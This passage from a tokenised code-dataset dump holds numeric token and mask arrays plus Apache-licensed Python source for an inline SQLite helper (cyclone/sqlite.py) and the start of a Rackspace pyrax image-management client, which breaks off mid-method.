488,
199,
199,
692,
822,
8,
1274,
14,
3020,
9,
690,
499,
26,
199,
198,
1274,
14,
2224,
8,
3807,
9,
199,
199,
692,
822,
8,
1274,
14,
3020,
9,
690,
413,
26,
199,
198,
893,
26,
507,
198,
509,
63,
3150,
275,
1109,
8,
1274,
14,
3020,
59,
17,
566,
199,
198,
2590,
26,
507,
198,
509,
63,
1404,
275,
984,
14,
3020,
59,
17,
61,
199,
199,
14507,
275,
27477,
342,
199,
199,
318,
3307,
63,
5037,
837,
199,
198,
1361,
298,
14414,
3304,
11,
35,
370,
3631,
436,
2498,
314,
6212,
2,
199,
199,
318,
3307,
63,
500,
837,
199,
198,
1361,
63,
19444,
63,
17552,
342,
199,
199,
318,
3066,
63,
14507,
363,
1274,
63,
4200,
8,
1430,
63,
354,
12,
1067,
12,
2863,
63,
3541,
12,
199,
198,
2330,
63,
4855,
12,
2863,
63,
9618,
12,
2863,
63,
3150,
12,
2863,
63,
1404,
12,
199,
198,
344,
12,
1249,
304,
421,
198,
692,
334,
509,
63,
1404,
436,
2863,
63,
1404,
1137,
367,
63,
1404,
9,
503,
971,
21979,
334,
509,
63,
3150,
221,
436,
2863,
63,
3150,
221,
1137,
367,
63,
3150,
3461,
507,
198,
1107,
199,
198,
893,
26,
507,
198,
14507,
59,
2330,
63,
1404,
1527,
2330,
63,
3150,
1527,
344,
61,
847,
413,
199,
198,
2590,
3146,
26,
507,
198,
14507,
59,
2330,
63,
1404,
1527,
2330,
63,
3150,
1527,
344,
61,
275,
413,
199,
199,
318,
870,
63,
19444,
63,
17552,
837,
272,
340,
367,
63,
1404,
365,
440,
488,
26,
6722,
870,
1867,
26605,
4474,
367,
450,
83,
3427,
78,
60,
78,
2,
450,
334,
509,
63,
1404,
395,
272,
587,
26,
6722,
870,
1867,
26605,
4474,
701,
1923,
15,
3150,
3427,
78,
60,
78,
401,
339,
870,
18301,
2167,
83,
221,
450,
709,
83,
60,
78,
2,
450,
1689,
1404,
359,
3150,
12978,
14507,
401,
298,
835,
1288,
272,
870,
18301,
2167,
83,
221,
450,
709,
83,
60,
78,
2,
450,
1689,
32111,
401,
971,
639,
298,
9460,
1288,
339,
1923,
63,
1612,
275,
19473,
14,
1612,
342,
272,
367,
1923,
315,
1923,
63,
1612,
26,
6722,
4422,
63,
1612,
275,
19473,
59,
1404,
1055,
1612,
342,
6722,
367,
4422,
315,
4422,
63,
1612,
26,
15075,
870,
1867,
78,
5,
83,
8978,
68,
7272,
78,
2,
450,
334,
1404,
12,
4422,
395,
15075,
1305,
63,
1612,
275,
19473,
59,
1404,
1527,
3150,
1055,
1612,
342,
15075,
367,
1305,
12,
1139,
315,
3355,
8,
14507,
59,
1404,
1527,
3150,
1055,
4611,
1062,
971,
1871,
221,
790,
275,
2400,
8,
75,
12,
373,
304,
334,
86,
12,
1022,
395,
221,
3837,
275,
715,
304,
24449,
870,
298,
221,
19752,
1703,
83,
221,
450,
709,
68,
60,
78,
2,
450,
334,
19444,
63,
354,
8,
344,
395,
1139,
395,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
dpnova/cyclone
|
cyclone/sqlite.py
|
4
|
3065
|
# coding: utf-8
#
# Copyright 2010 Alexandre Fiori
# based on the original Tornado by Facebook
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""An inline SQLite helper class.
All queries run inline, temporarily blocking the execution. Please make sure
you understand the limitations of using SQLite like this.
Example::
import cyclone.web
import cyclone.sqlite
class SQLiteMixin(object):
sqlite = cyclone.sqlite.InlineSQLite("mydb.sqlite")
class MyRequestHandler(cyclone.web.RequestHandler):
def get(self):
rs = self.sqlite.runQuery("SELECT 1")
...
There is no ``Deferred`` responses, and no need to ``yield`` anything.
"""
import sqlite3
class InlineSQLite:
"""An inline SQLite instance"""
def __init__(self, dbname=":memory:", autoCommit=True):
"""Create new SQLite instance."""
self.autoCommit = autoCommit
self.conn = sqlite3.connect(dbname)
self.curs = self.conn.cursor()
def runQuery(self, query, *args, **kwargs):
"""Use this function to execute queries that return a result set,
like ``SELECT``.
Example (with variable substitution)::
sqlite.runQuery("SELECT * FROM asd WHERE x=? and y=?", [x, y])
"""
self.curs.execute(query, *args, **kwargs)
return [row for row in self.curs]
def runOperation(self, command, *args, **kwargs):
"""Use this function to execute queries that do NOT return a result
set, like ``INSERT``, ``UPDATE`` and ``DELETE``.
Example::
sqlite.runOperation("CREATE TABLE asd (x int, y text)")
sqlite.runOperation("INSERT INTO asd VALUES (?, ?)", [x, y])
"""
self.curs.execute(command, *args, **kwargs)
if self.autoCommit is True:
self.conn.commit()
def runOperationMany(self, command, *args, **kwargs):
"""Same as `runOperation`, but for multiple rows.
Example::
sqlite.runOperationMany("INSERT INTO asd VALUES (?, ?)", [
[x1, y1], [x2, y2], [x3, y3]
])
"""
self.curs.executemany(command, *args, **kwargs)
if self.autoCommit is True:
self.conn.commit()
def commit(self):
"""Commits pending transactions"""
self.conn.commit()
def rollback(self):
"""Gives up pending transactions"""
self.conn.rollback()
def close(self):
"""Destroys the instance"""
self.conn.close()
|
apache-2.0
|
[
3,
2803,
26,
2774,
13,
24,
199,
3,
199,
3,
1898,
7129,
22986,
28547,
481,
15499,
73,
199,
3,
4079,
641,
314,
3379,
377,
8622,
701,
27107,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
1334,
314,
844,
14,
199,
199,
624,
2493,
8308,
19245,
5922,
1021,
14,
199,
199,
2422,
9212,
1255,
8308,
12,
22256,
14592,
314,
6451,
14,
7754,
1852,
3238,
199,
13297,
20647,
314,
4204,
402,
1808,
19245,
2839,
642,
14,
199,
199,
9846,
447,
339,
492,
6325,
6311,
14,
2520,
272,
492,
6325,
6311,
14,
10659,
339,
1021,
19245,
4256,
8,
785,
304,
267,
11723,
275,
6325,
6311,
14,
10659,
14,
10307,
4657,
1175,
480,
1662,
697,
14,
10659,
531,
339,
1021,
4932,
11149,
8,
1480,
6311,
14,
2520,
14,
11149,
304,
267,
347,
664,
8,
277,
304,
288,
10717,
275,
291,
14,
10659,
14,
1065,
3227,
480,
4859,
413,
531,
288,
2263,
199,
199,
10924,
365,
949,
1124,
9937,
1040,
9320,
12,
436,
949,
1929,
370,
1124,
11481,
1040,
7003,
14,
199,
624,
199,
199,
646,
11723,
19,
421,
199,
533,
24789,
4657,
1175,
26,
272,
408,
2493,
8308,
19245,
1256,
624,
272,
347,
636,
826,
721,
277,
12,
21842,
29,
582,
4844,
6783,
2599,
11421,
29,
549,
304,
267,
408,
2499,
892,
19245,
1256,
1041,
267,
291,
14,
2495,
11421,
275,
2599,
11421,
267,
291,
14,
1631,
275,
11723,
19,
14,
2242,
8,
13238,
9,
267,
291,
14,
17255,
275,
291,
14,
1631,
14,
3937,
342,
339,
347,
1255,
3227,
8,
277,
12,
1827,
12,
627,
589,
12,
1011,
958,
304,
267,
408,
6119,
642,
805,
370,
5341,
9212,
626,
372,
282,
754,
663,
12,
267,
2839,
1124,
4859,
4345,
398,
5679,
334,
1045,
1750,
20584,
304,
26,
953,
11723,
14,
1065,
3227,
480,
4859,
627,
4442,
465,
68,
6038,
671,
18048,
436,
612,
29,
15583,
359,
88,
12,
612,
566,
267,
408,
267,
291,
14,
17255,
14,
2526,
8,
1131,
12,
627,
589,
12,
1011,
958,
9,
267,
372,
359,
1143,
367,
1962,
315,
291,
14,
17255,
61,
339,
347,
1255,
6044,
8,
277,
12,
1414,
12,
627,
589,
12,
1011,
958,
304,
267,
408,
6119,
642,
805,
370,
5341,
9212,
626,
886,
2845,
372,
282,
754,
267,
663,
12,
2839,
1124,
10258,
4542,
1124,
10383,
1040,
436,
1124,
7014,
4345,
398,
5679,
447,
953,
11723,
14,
1065,
6044,
480,
8366,
9934,
465,
68,
334,
88,
1109,
12,
612,
1318,
6320,
288,
11723,
14,
1065,
6044,
480,
10258,
12872,
465,
68,
13992,
7558,
12,
5805,
4186,
359,
88,
12,
612,
566,
267,
408,
267,
291,
14,
17255,
14,
2526,
8,
1531,
12,
627,
589,
12,
1011,
958,
9,
267,
340,
291,
14,
2495,
11421,
365,
715,
26,
288,
291,
14,
1631,
14,
3543,
342,
339,
347,
1255,
6044,
4089,
8,
277,
12,
1414,
12,
627,
589,
12,
1011,
958,
304,
267,
408,
8479,
465,
658,
1065,
6044,
3559,
1325,
367,
3663,
4730,
14,
398,
5679,
447,
953,
11723,
14,
1065,
6044,
4089,
480,
10258,
12872,
465,
68,
13992,
7558,
12,
5805,
4186,
359,
3147,
359,
88,
17,
12,
612,
17,
467,
359,
88,
18,
12,
612,
18,
467,
359,
88,
19,
12,
612,
19,
61,
2511,
4794,
267,
408,
267,
291,
14,
17255,
14,
31162,
8,
1531,
12,
627,
589,
12,
1011,
958,
9,
267,
340,
291,
14,
2495,
11421,
365,
715,
26,
288,
291,
14,
1631,
14,
3543,
342,
339,
347,
5532,
8,
277,
304,
267,
408,
5150,
1405,
9413,
15809,
624,
267,
291,
14,
1631,
14,
3543,
342,
339,
347,
16475,
8,
277,
304,
267,
408,
39,
7602,
1536,
9413,
15809,
624,
267,
291,
14,
1631,
14,
10437,
342,
339,
347,
4002,
8,
277,
304,
267,
408,
8004,
293,
588,
314,
1256,
624,
267,
291,
14,
1631,
14,
1600,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2803,
26,
2774,
13,
24,
199,
3,
199,
3,
1898,
7129,
22986,
28547,
481,
15499,
73,
199,
3,
4079,
641,
314,
3379,
377,
8622,
701,
27107,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
1334,
314,
844,
14,
199,
199,
624,
2493,
8308,
19245,
5922,
1021,
14,
199,
199,
2422,
9212,
1255,
8308,
12,
22256,
14592,
314,
6451,
14,
7754,
1852,
3238,
199,
13297,
20647,
314,
4204,
402,
1808,
19245,
2839,
642,
14,
199,
199,
9846,
447,
339,
492,
6325,
6311,
14,
2520,
272,
492,
6325,
6311,
14,
10659,
339,
1021,
19245,
4256,
8,
785,
304,
267,
11723,
275,
6325,
6311,
14,
10659,
14,
10307,
4657,
1175,
480,
1662,
697,
14,
10659,
531,
339,
1021,
4932,
11149,
8,
1480,
6311,
14,
2520,
14,
11149,
304,
267,
347,
664,
8,
277,
304,
288,
10717,
275,
291,
14,
10659,
14,
1065,
3227,
480,
4859,
413,
531,
288,
2263,
199,
199,
10924,
365,
949,
1124,
9937,
1040,
9320,
12,
436,
949,
1929,
370,
1124,
11481,
1040,
7003,
14,
199,
624,
199,
199,
646,
11723,
19,
421,
199,
533,
24789,
4657,
1175,
26,
272,
408,
2493,
8308,
19245,
1256,
624,
272,
347,
636,
826,
721,
277,
12,
21842,
29,
582,
4844,
6783,
2599,
11421,
29,
549,
304,
267,
408,
2499,
892,
19245,
1256,
1041,
267,
291,
14,
2495,
11421,
275,
2599,
11421,
267,
291,
14,
1631,
275,
11723,
19,
14,
2242,
8,
13238,
9,
267,
291,
14,
17255,
275,
291,
14,
1631,
14,
3937,
342,
339,
347,
1255,
3227,
8,
277,
12,
1827,
12,
627,
589,
12,
1011,
958,
304,
267,
408,
6119,
642,
805,
370,
5341,
9212,
626,
372,
282,
754,
663,
12,
267,
2839,
1124,
4859,
4345,
398,
5679,
334,
1045,
1750,
20584,
304,
26,
953,
11723,
14,
1065,
3227,
480,
4859,
627,
4442,
465,
68,
6038,
671,
18048,
436,
612,
29,
15583,
359,
88,
12,
612,
566,
267,
408,
267,
291,
14,
17255,
14,
2526,
8,
1131,
12,
627,
589,
12,
1011,
958,
9,
267,
372,
359,
1143,
367,
1962,
315,
291,
14,
17255,
61,
339,
347,
1255,
6044,
8,
277,
12,
1414,
12,
627,
589,
12,
1011,
958,
304,
267,
408,
6119,
642,
805,
370,
5341,
9212,
626,
886,
2845,
372,
282,
754,
267,
663,
12,
2839,
1124,
10258,
4542,
1124,
10383,
1040,
436,
1124,
7014,
4345,
398,
5679,
447,
953,
11723,
14,
1065,
6044,
480,
8366,
9934,
465,
68,
334,
88,
1109,
12,
612,
1318,
6320,
288,
11723,
14,
1065,
6044,
480,
10258,
12872,
465,
68,
13992,
7558,
12,
5805,
4186,
359,
88,
12,
612,
566,
267,
408,
267,
291,
14,
17255,
14,
2526,
8,
1531,
12,
627,
589,
12,
1011,
958,
9,
267,
340,
291,
14,
2495,
11421,
365,
715,
26,
288,
291,
14,
1631,
14,
3543,
342,
339,
347,
1255,
6044,
4089,
8,
277,
12,
1414,
12,
627,
589,
12,
1011,
958,
304,
267,
408,
8479,
465,
658,
1065,
6044,
3559,
1325,
367,
3663,
4730,
14,
398,
5679,
447,
953,
11723,
14,
1065,
6044,
4089,
480,
10258,
12872,
465,
68,
13992,
7558,
12,
5805,
4186,
359,
3147,
359,
88,
17,
12,
612,
17,
467,
359,
88,
18,
12,
612,
18,
467,
359,
88,
19,
12,
612,
19,
61,
2511,
4794,
267,
408,
267,
291,
14,
17255,
14,
31162,
8,
1531,
12,
627,
589,
12,
1011,
958,
9,
267,
340,
291,
14,
2495,
11421,
365,
715,
26,
288,
291,
14,
1631,
14,
3543,
342,
339,
347,
5532,
8,
277,
304,
267,
408,
5150,
1405,
9413,
15809,
624,
267,
291,
14,
1631,
14,
3543,
342,
339,
347,
16475,
8,
277,
304,
267,
408,
39,
7602,
1536,
9413,
15809,
624,
267,
291,
14,
1631,
14,
10437,
342,
339,
347,
4002,
8,
277,
304,
267,
408,
8004,
293,
588,
314,
1256,
624,
267,
291,
14,
1631,
14,
1600,
342,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
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0,
0,
0,
0,
0
] |
naemono/pyrax
|
pyrax/image.py
|
12
|
24535
|
# -*- coding: utf-8 -*-
# Copyright (c)2014 Rackspace US, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from functools import wraps
import pyrax
from pyrax.object_storage import StorageObject
from pyrax.client import BaseClient
import pyrax.exceptions as exc
from pyrax.manager import BaseManager
from pyrax.resource import BaseResource
import pyrax.utils as utils
DEFAULT_FORMAT = "vhd"
def assure_image(fnc):
"""
Converts a image ID passed as the 'image' parameter to a image object.
"""
@wraps(fnc)
def _wrapped(self, img, *args, **kwargs):
if not isinstance(img, Image):
# Must be the ID
img = self._manager.get(img)
return fnc(self, img, *args, **kwargs)
return _wrapped
class Image(BaseResource):
"""
This class represents an Image.
"""
def __init__(self, manager, info, key=None, loaded=False,
member_manager_class=None, tag_manager_class=None):
super(Image, self).__init__(manager, info, key=key, loaded=loaded)
member_manager_class = member_manager_class or ImageMemberManager
tag_manager_class = tag_manager_class or ImageTagManager
self._member_manager = member_manager_class(self.manager.api,
resource_class=ImageMember, response_key="",
plural_response_key="members", uri_base="images/%s/members" %
self.id)
self._tag_manager = tag_manager_class(self.manager.api,
resource_class=ImageTag, response_key="",
plural_response_key="tags", uri_base="images/%s/tags" %
self.id)
self._non_display = [
"com.rackspace__1__build_core",
"com.rackspace__1__build_managed",
"com.rackspace__1__build_rackconnect",
"com.rackspace__1__options",
"com.rackspace__1__platform_target",
"com.rackspace__1__release_build_date",
"com.rackspace__1__release_id",
"com.rackspace__1__release_version",
"com.rackspace__1__source",
"com.rackspace__1__visible_core",
"com.rackspace__1__visible_managed",
"com.rackspace__1__visible_rackconnect",
"file",
"instance_type_ephemeral_gb",
"instance_type_flavorid",
"instance_type_id",
"instance_type_memory_mb",
"instance_type_name",
"instance_type_root_gb",
"instance_type_rxtx_factor",
"instance_type_swap",
"instance_type_vcpu_weight",
"instance_type_vcpus",
"instance_uuid",
"org.openstack__1__architecture",
"org.openstack__1__os_distro",
"org.openstack__1__os_version",
"rax_activation_profile",
"rax_managed",
"rax_options",
"schema",
"self",
]
def update(self, value_dict):
"""
Accepts a and dictionary of key/value pairs, where the key is an
attribute of the image, and the value is the desired new value for that
image.
"""
return self.manager.update(self, value_dict)
def change_name(self, newname):
"""
Image name can be changed via the update() method. This is simply a
convenience method.
"""
return self.update({"name": newname})
def list_members(self):
"""
Returns a list of all Members for this image.
"""
return self._member_manager.list()
def get_member(self, member):
"""
Returns the ImageMember object representing the specified member
"""
return self._member_manager.get(member)
def add_member(self, project_id):
"""
Adds the project (tenant) represented by the project_id as a member of
this image.
"""
return self._member_manager.create(name=None, project_id=project_id)
def delete_member(self, project_id):
"""
Removes the project (tenant) represented by the project_id as a member
of this image.
"""
return self._member_manager.delete(project_id)
def add_tag(self, tag):
"""
Adds the tag to this image.
"""
return self._tag_manager.add(tag)
def delete_tag(self, tag):
"""
Deletes the tag from this image.
"""
return self._tag_manager.delete(tag)
class ImageMember(BaseResource):
"""
This class represents a member (user) of an Image.
"""
@property
def id(self):
return self.member_id
class ImageTag(BaseResource):
"""
This class represents a tag for an Image.
"""
pass
class ImageTask(BaseResource):
"""
This class represents a ImageTask.
"""
pass
class ImageManager(BaseManager):
"""
Manager class for an Image.
"""
def _create_body(self, name, metadata=None):
"""
Used to create the dict required to create a new queue
"""
if metadata is None:
body = {}
else:
body = {"metadata": metadata}
return body
def list(self, limit=None, marker=None, name=None, visibility=None,
member_status=None, owner=None, tag=None, status=None,
size_min=None, size_max=None, sort_key=None, sort_dir=None,
return_raw=False):
"""
Returns a list of resource objects. Pagination is supported through the
optional 'marker' and 'limit' parameters. Filtering the returned value
is possible by specifying values for any of the other parameters.
"""
uri = "/%s" % self.uri_base
qs = utils.dict_to_qs(dict(limit=limit, marker=marker, name=name,
visibility=visibility, member_status=member_status,
owner=owner, tag=tag, status=status, size_min=size_min,
size_max=size_max, sort_key=sort_key, sort_dir=sort_dir))
if qs:
uri = "%s?%s" % (uri, qs)
return self._list(uri, return_raw=return_raw)
def list_all(self, name=None, visibility=None, member_status=None,
owner=None, tag=None, status=None, size_min=None, size_max=None,
sort_key=None, sort_dir=None):
"""
Returns all of the images in one call, rather than in paginated batches.
"""
def strip_version(uri):
"""
The 'next' uri contains a redundant version number. We need to
strip it to use in the method_get() call.
"""
pos = uri.find("/images")
return uri[pos:]
obj_class = self.resource_class
resp, resp_body = self.list(name=name, visibility=visibility,
